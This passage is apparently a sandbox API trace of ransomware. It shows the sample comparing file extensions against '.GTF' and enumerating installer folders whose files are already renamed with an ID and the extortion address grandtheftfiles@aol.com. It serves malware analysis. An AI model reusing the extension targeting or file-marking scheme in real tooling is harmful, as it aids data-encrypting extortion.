	[0153.262] lstrcmpiW (lpString1=".mda", lpString2=".GTF") returned 1
	[0153.262] lstrlenW (lpString=".mdb") returned 4
	[0153.262] lstrcmpiW (lpString1=".mdb", lpString2=".GTF") returned 1
	[0153.262] lstrlenW (lpString=".mde") returned 4
	[0153.263] lstrcmpiW (lpString1=".mde", lpString2=".GTF") returned 1
	[0153.263] lstrlenW (lpString=".mdf") returned 4
	[0153.263] lstrcmpiW (lpString1=".mdf", lpString2=".GTF") returned 1
	[0153.263] lstrlenW (lpString=".mdw") returned 4
	[0153.263] lstrcmpiW (lpString1=".mdw", lpString2=".GTF") returned 1
	[0153.263] lstrlenW (lpString=".mef") returned 4
	[0153.263] lstrcmpiW (lpString1=".mef", lpString2=".GTF") returned 1
	[0153.263] lstrlenW (lpString=".mft") returned 4
	[0153.263] lstrcmpiW (lpString1=".mft", lpString2=".GTF") returned 1
	[0153.263] lstrlenW (lpString=".mfw") returned 4
	[0153.263] lstrcmpiW (lpString1=".mfw", lpString2=".GTF") returned 1
	[0153.263] lstrlenW (lpString=".mht") returned 4
	[0153.263] lstrcmpiW (lpString1=".mht", lpString2=".GTF") returned 1
	[0153.263] lstrlenW (lpString=".mhtml") returned 6
	[0153.263] lstrcmpiW (lpString1=".mhtml", lpString2="m].GTF") returned -1
	[0153.263] lstrlenW (lpString=".mka") returned 4
	[0153.263] lstrcmpiW (lpString1=".mka", lpString2=".GTF") returned 1
	[0153.263] lstrlenW (lpString=".mkidx") returned 6
	[0153.263] lstrcmpiW (lpString1=".mkidx", lpString2="m].GTF") returned -1
	[0153.263] lstrlenW (lpString=".mkv") returned 4
	[0153.263] lstrcmpiW (lpString1=".mkv", lpString2=".GTF") returned 1
	[0153.263] lstrlenW (lpString=".mos") returned 4
	[0153.263] lstrcmpiW (lpString1=".mos", lpString2=".GTF") returned 1
	[0153.263] lstrlenW (lpString=".mov") returned 4
	[0153.263] lstrcmpiW (lpString1=".mov", lpString2=".GTF") returned 1
	[0153.263] lstrlenW (lpString=".mp3") returned 4
	[0153.263] lstrcmpiW (lpString1=".mp3", lpString2=".GTF") returned 1
	[0153.263] lstrlenW (lpString=".mp4") returned 4
	[0153.263] lstrcmpiW (lpString1=".mp4", lpString2=".GTF") returned 1
	[0153.263] lstrlenW (lpString=".mpeg") returned 5
	[0153.263] lstrcmpiW (lpString1=".mpeg", lpString2="].GTF") returned -1
	[0153.263] lstrlenW (lpString=".mpg") returned 4
	[0153.263] lstrcmpiW (lpString1=".mpg", lpString2=".GTF") returned 1
	[0153.263] lstrlenW (lpString=".mpv") returned 4
	[0153.263] lstrcmpiW (lpString1=".mpv", lpString2=".GTF") returned 1
	[0153.263] lstrlenW (lpString=".mrw") returned 4
	[0153.263] lstrcmpiW (lpString1=".mrw", lpString2=".GTF") returned 1
	[0153.263] lstrlenW (lpString=".msg") returned 4
	[0153.264] lstrcmpiW (lpString1=".msg", lpString2=".GTF") returned 1
	[0153.264] lstrlenW (lpString=".mxl") returned 4
	[0153.264] lstrcmpiW (lpString1=".mxl", lpString2=".GTF") returned 1
	[0153.264] lstrlenW (lpString=".myd") returned 4
	[0153.264] lstrcmpiW (lpString1=".myd", lpString2=".GTF") returned 1
	[0153.264] lstrlenW (lpString=".myi") returned 4
	[0153.264] lstrcmpiW (lpString1=".myi", lpString2=".GTF") returned 1
	[0153.264] lstrlenW (lpString=".nef") returned 4
	[0153.264] lstrcmpiW (lpString1=".nef", lpString2=".GTF") returned 1
	[0153.264] lstrlenW (lpString=".nrw") returned 4
	[0153.264] lstrcmpiW (lpString1=".nrw", lpString2=".GTF") returned 1
	[0153.264] lstrlenW (lpString=".obj") returned 4
	[0153.264] lstrcmpiW (lpString1=".obj", lpString2=".GTF") returned 1
	[0153.264] lstrlenW (lpString=".odb") returned 4
	[0153.264] lstrcmpiW (lpString1=".odb", lpString2=".GTF") returned 1
	[0153.264] lstrlenW (lpString=".odc") returned 4
	[0153.264] lstrcmpiW (lpString1=".odc", lpString2=".GTF") returned 1
	[0153.264] lstrlenW (lpString=".odm") returned 4
	[0153.264] lstrcmpiW (lpString1=".odm", lpString2=".GTF") returned 1
	[0153.264] lstrlenW (lpString=".odp") returned 4
	[0153.264] lstrcmpiW (lpString1=".odp", lpString2=".GTF") returned 1
	[0153.264] lstrlenW (lpString=".ods") returned 4
	[0153.264] lstrcmpiW (lpString1=".ods", lpString2=".GTF") returned 1
	[0153.264] lstrlenW (lpString=".oft") returned 4
	[0153.264] lstrcmpiW (lpString1=".oft", lpString2=".GTF") returned 1
	[0153.264] lstrlenW (lpString=".one") returned 4
	[0153.264] lstrcmpiW (lpString1=".one", lpString2=".GTF") returned 1
	[0153.264] lstrlenW (lpString=".onepkg") returned 7
	[0153.264] lstrcmpiW (lpString1=".onepkg", lpString2="om].GTF") returned -1
	[0153.264] lstrlenW (lpString=".onetoc2") returned 8
	[0153.264] lstrcmpiW (lpString1=".onetoc2", lpString2="com].GTF") returned -1
	[0153.264] lstrlenW (lpString=".opt") returned 4
	[0153.264] lstrcmpiW (lpString1=".opt", lpString2=".GTF") returned 1
	[0153.264] lstrlenW (lpString=".oqy") returned 4
	[0153.264] lstrcmpiW (lpString1=".oqy", lpString2=".GTF") returned 1
	[0153.264] lstrlenW (lpString=".orf") returned 4
	[0153.264] lstrcmpiW (lpString1=".orf", lpString2=".GTF") returned 1
	[0153.264] lstrlenW (lpString=".p12") returned 4
	[0153.265] lstrcmpiW (lpString1=".p12", lpString2=".GTF") returned 1
	[0153.265] lstrlenW (lpString=".p7b") returned 4
	[0153.265] lstrcmpiW (lpString1=".p7b", lpString2=".GTF") returned 1
	[0153.265] lstrlenW (lpString=".p7c") returned 4
	[0153.265] lstrcmpiW (lpString1=".p7c", lpString2=".GTF") returned 1
	[0153.265] lstrlenW (lpString=".pam") returned 4
	[0153.265] lstrcmpiW (lpString1=".pam", lpString2=".GTF") returned 1
	[0153.265] lstrlenW (lpString=".pbm") returned 4
	[0153.265] lstrcmpiW (lpString1=".pbm", lpString2=".GTF") returned 1
	[0153.265] lstrlenW (lpString=".pct") returned 4
	[0153.265] lstrcmpiW (lpString1=".pct", lpString2=".GTF") returned 1
	[0153.265] lstrlenW (lpString=".pcx") returned 4
	[0153.265] lstrcmpiW (lpString1=".pcx", lpString2=".GTF") returned 1
	[0153.265] lstrlenW (lpString=".pdd") returned 4
	[0153.265] lstrcmpiW (lpString1=".pdd", lpString2=".GTF") returned 1
	[0153.265] lstrlenW (lpString=".pdf") returned 4
	[0153.265] lstrcmpiW (lpString1=".pdf", lpString2=".GTF") returned 1
	[0153.265] lstrlenW (lpString=".pdp") returned 4
	[0153.265] lstrcmpiW (lpString1=".pdp", lpString2=".GTF") returned 1
	[0153.265] lstrlenW (lpString=".pef") returned 4
	[0153.265] lstrcmpiW (lpString1=".pef", lpString2=".GTF") returned 1
	[0153.265] lstrlenW (lpString=".pem") returned 4
	[0153.265] lstrcmpiW (lpString1=".pem", lpString2=".GTF") returned 1
	[0153.265] lstrlenW (lpString=".pff") returned 4
	[0153.265] lstrcmpiW (lpString1=".pff", lpString2=".GTF") returned 1
	[0153.265] lstrlenW (lpString=".pfm") returned 4
	[0153.265] lstrcmpiW (lpString1=".pfm", lpString2=".GTF") returned 1
	[0153.265] lstrlenW (lpString=".pfx") returned 4
	[0153.265] lstrcmpiW (lpString1=".pfx", lpString2=".GTF") returned 1
	[0153.265] lstrlenW (lpString=".pgm") returned 4
	[0153.265] lstrcmpiW (lpString1=".pgm", lpString2=".GTF") returned 1
	[0153.265] lstrlenW (lpString=".php") returned 4
	[0153.265] lstrcmpiW (lpString1=".php", lpString2=".GTF") returned 1
	[0153.265] lstrlenW (lpString=".php3") returned 5
	[0153.265] lstrcmpiW (lpString1=".php3", lpString2="].GTF") returned -1
	[0153.265] lstrlenW (lpString=".php4") returned 5
	[0153.265] lstrcmpiW (lpString1=".php4", lpString2="].GTF") returned -1
	[0153.265] lstrlenW (lpString=".php5") returned 5
	[0153.265] lstrcmpiW (lpString1=".php5", lpString2="].GTF") returned -1
	[0153.266] lstrlenW (lpString=".phtml") returned 6
	[0153.266] lstrcmpiW (lpString1=".phtml", lpString2="m].GTF") returned -1
	[0153.266] lstrlenW (lpString=".pict") returned 5
	[0153.266] lstrcmpiW (lpString1=".pict", lpString2="].GTF") returned -1
	[0153.266] lstrlenW (lpString=".pl") returned 3
	[0153.266] lstrcmpiW (lpString1=".pl", lpString2="GTF") returned -1
	[0153.266] lstrlenW (lpString=".pls") returned 4
	[0153.266] lstrcmpiW (lpString1=".pls", lpString2=".GTF") returned 1
	[0153.266] lstrlenW (lpString=".pm") returned 3
	[0153.266] lstrcmpiW (lpString1=".pm", lpString2="GTF") returned -1
	[0153.266] lstrlenW (lpString=".png") returned 4
	[0153.266] lstrcmpiW (lpString1=".png", lpString2=".GTF") returned 1
	[0153.266] lstrlenW (lpString=".pnm") returned 4
	[0153.266] lstrcmpiW (lpString1=".pnm", lpString2=".GTF") returned 1
	[0153.266] lstrlenW (lpString=".pot") returned 4
	[0153.266] lstrcmpiW (lpString1=".pot", lpString2=".GTF") returned 1
	[0153.266] lstrlenW (lpString=".potm") returned 5
	[0153.266] lstrcmpiW (lpString1=".potm", lpString2="].GTF") returned -1
	[0153.266] lstrlenW (lpString=".potx") returned 5
	[0153.266] lstrcmpiW (lpString1=".potx", lpString2="].GTF") returned -1
	[0153.266] lstrlenW (lpString=".ppa") returned 4
	[0153.266] lstrcmpiW (lpString1=".ppa", lpString2=".GTF") returned 1
	[0153.266] lstrlenW (lpString=".ppam") returned 5
	[0153.266] lstrcmpiW (lpString1=".ppam", lpString2="].GTF") returned -1
	[0153.266] lstrlenW (lpString=".ppm") returned 4
	[0153.266] lstrcmpiW (lpString1=".ppm", lpString2=".GTF") returned 1
	[0153.266] lstrlenW (lpString=".pps") returned 4
	[0153.266] lstrcmpiW (lpString1=".pps", lpString2=".GTF") returned 1
	[0153.266] lstrlenW (lpString=".ppsm") returned 5
	[0153.266] lstrcmpiW (lpString1=".ppsm", lpString2="].GTF") returned -1
	[0153.266] lstrlenW (lpString=".ppt") returned 4
	[0153.266] lstrcmpiW (lpString1=".ppt", lpString2=".GTF") returned 1
	[0153.266] lstrlenW (lpString=".pptm") returned 5
	[0153.266] lstrcmpiW (lpString1=".pptm", lpString2="].GTF") returned -1
	[0153.266] lstrlenW (lpString=".pptx") returned 5
	[0153.266] lstrcmpiW (lpString1=".pptx", lpString2="].GTF") returned -1
	[0153.266] lstrlenW (lpString=".prn") returned 4
	[0153.266] lstrcmpiW (lpString1=".prn", lpString2=".GTF") returned 1
	[0153.267] lstrlenW (lpString=".ps") returned 3
	[0153.267] lstrcmpiW (lpString1=".ps", lpString2="GTF") returned -1
	[0153.267] lstrlenW (lpString=".psb") returned 4
	[0153.267] lstrcmpiW (lpString1=".psb", lpString2=".GTF") returned 1
	[0153.267] lstrlenW (lpString=".psd") returned 4
	[0153.267] lstrcmpiW (lpString1=".psd", lpString2=".GTF") returned 1
	[0153.267] lstrlenW (lpString=".pst") returned 4
	[0153.267] lstrcmpiW (lpString1=".pst", lpString2=".GTF") returned 1
	[0153.267] lstrlenW (lpString=".ptx") returned 4
	[0153.267] lstrcmpiW (lpString1=".ptx", lpString2=".GTF") returned 1
	[0153.267] lstrlenW (lpString=".pub") returned 4
	[0153.267] lstrcmpiW (lpString1=".pub", lpString2=".GTF") returned 1
	[0153.267] lstrlenW (lpString=".pwm") returned 4
	[0153.267] lstrcmpiW (lpString1=".pwm", lpString2=".GTF") returned 1
	[0153.267] lstrlenW (lpString=".pxr") returned 4
	[0153.267] lstrcmpiW (lpString1=".pxr", lpString2=".GTF") returned 1
	[0153.267] lstrlenW (lpString=".py") returned 3
	[0153.267] lstrcmpiW (lpString1=".py", lpString2="GTF") returned -1
	[0153.267] lstrlenW (lpString=".qt") returned 3
	[0153.267] lstrcmpiW (lpString1=".qt", lpString2="GTF") returned -1
	[0153.267] lstrlenW (lpString=".r3d") returned 4
	[0153.267] lstrcmpiW (lpString1=".r3d", lpString2=".GTF") returned 1
	[0153.267] lstrlenW (lpString=".raf") returned 4
	[0153.267] lstrcmpiW (lpString1=".raf", lpString2=".GTF") returned 1
	[0153.267] lstrlenW (lpString=".rar") returned 4
	[0153.267] lstrcmpiW (lpString1=".rar", lpString2=".GTF") returned 1
	[0153.267] lstrlenW (lpString=".raw") returned 4
	[0153.267] lstrcmpiW (lpString1=".raw", lpString2=".GTF") returned 1
	[0153.267] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f6775cc, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f6775cc, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f69d8ad, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x13076, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0153.267] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa0216cc9, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa0216cc9, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa023d020, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0153.267] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa0216cc9, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa0216cc9, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa023d020, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0153.268] FindClose (in: hFindFile=0x4140298 | out: hFindFile=0x4140298) returned 1
	[0153.268] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0153.269] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9fc6d477, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fc6d477, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="1055", cAlternateFileName="")) returned 1
	[0153.269] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0153.269] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9fc6d477, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fc6d477, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName=".", cAlternateFileName="")) returned 0x41401d8
	[0153.270] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9fc6d477, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fc6d477, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="..", cAlternateFileName="")) returned 1
	[0153.270] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fa0af4c, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fa0af4c, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fc472a2, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0153.270] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fbae905, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fbae905, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fc6d477, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x12d16, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0153.270] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa023d020, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa023d020, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa02869a4, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0153.270] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa023d020, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa023d020, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa02869a4, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0153.270] FindClose (in: hFindFile=0x41401d8 | out: hFindFile=0x41401d8) returned 1
	[0153.271] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0153.271] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9fcb99df, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fcb99df, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="2052", cAlternateFileName="")) returned 1
	[0153.271] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0153.271] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9fcb99df, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fcb99df, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName=".", cAlternateFileName="")) returned 0x4140458
	[0153.272] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9fcb99df, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fcb99df, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="..", cAlternateFileName="")) returned 1
	[0153.272] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fbae905, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fbae905, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fc935d1, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0153.272] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fc472a2, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fc472a2, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fcb99df, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xee06, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0153.272] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa0265b40, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa0265b40, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa03de47c, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0153.272] FindNextFileW (in: hFindFile=0x4140458, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa0265b40, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa0265b40, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa03de47c, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0153.272] FindClose (in: hFindFile=0x4140458 | out: hFindFile=0x4140458) returned 1
	[0153.273] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0153.273] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9fcb99df, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fcb99df, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="2070", cAlternateFileName="")) returned 1
	[0153.273] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0153.273] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9fcb99df, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fcb99df, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName=".", cAlternateFileName="")) returned 0x4140118
	[0153.274] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9fcb99df, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fcb99df, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="..", cAlternateFileName="")) returned 1
	[0153.274] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fc6d477, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fc6d477, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa01582d6, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x1094, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0153.274] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fcb99df, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fcb99df, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa010be4c, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x13a76, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0153.274] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa02ace16, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa02ace16, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa04c31b6, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
